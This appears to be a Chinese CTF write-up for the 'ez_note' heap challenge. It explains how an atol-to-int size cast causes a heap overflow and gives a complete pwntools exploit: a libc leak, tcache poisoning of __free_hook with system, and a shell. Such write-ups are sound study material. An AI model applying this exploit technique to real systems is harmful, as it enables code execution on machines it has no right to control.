题目分析
- 我只能说出题的师傅好样的,>_<
- 平常题目的字符串转整型的函数是这样的atoi(),没错是i,这个是atol()
- 其区别就是一个转int,一个转long
- 申请chunk判断时却用了int强制类型转换,例如我们申请0x100000080,实际申请的是malloc(0x80),但是输入内容的时候我们可以输入0x100000080,故该题目变成普通的heap溢出题
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',29430)
c=process(b'./ez_note')
libc=ELF(b'./libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
gdb.attach(c,'''
b *$rebase(0x146F)
b *$rebase(0x1629)
b *$rebase(0x15bb)
''')
def add(size,content):
c.sendafter(b'choice:',b'1')
c.sendafter(b'size:',str(size))
c.sendafter(b'content:',content)
def free(idx):
c.sendafter(b'choice:',b'2')
c.sendafter(b'ID:',str(idx))
def show(idx):
c.sendafter(b'choice:',b'3')
c.sendafter(b'ID:',str(idx))
for i in range(10):
add(0x90,b'a')
for i in range(3,10):
free(i)
free(0)
free(1)
free(2)
for i in range(5): #0 1 2 3 4
add(0x90,b'b')
add(0x90,p64(0x200)+p64(0x90))#5
add(0x90,b'a')#6
add(0x100000080,b'a'*0x80+p64(0)+p64(0x201)[:7])#7
add(0x140,b'a')
show(6)
c.recvuntil(b'Note content:')
libc_base=u64(c.recv(6).ljust(8,b'\x00'))-0x1ecbe0
log.success("libc_base="+hex(libc_base))
sys=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
free(0)
free(1)
free(2)
add(0x100000090,b'a'*0x90+p64(0)+p64(0xa1)+p64(free_hook)[:7])#0
add(0x90,b'/bin/sh\x00')#1
add(0x90,p64(sys))#2
free(1)
c.interactive()
注意点
当然啦,heap题目重要的还是学习heap布局
- 程序会把输入内容中的最后一个字节赋值为0,所以需要注意我们改写size的时候,如果直接写p64(0x201),则后面的fd的末字节会被修改为0,从而报错,使用[:7]可以解决这个问题,后面他补0时就可以把少写的0补上了,p64()是倒叙的
- 申请释放chunk时注意顺序,进入tcache后再申请出来,是原来基础上的倒叙,需要注意chunk的编号exp的heap布局不清楚,建议复制粘贴后,gdb看+画图就很直观了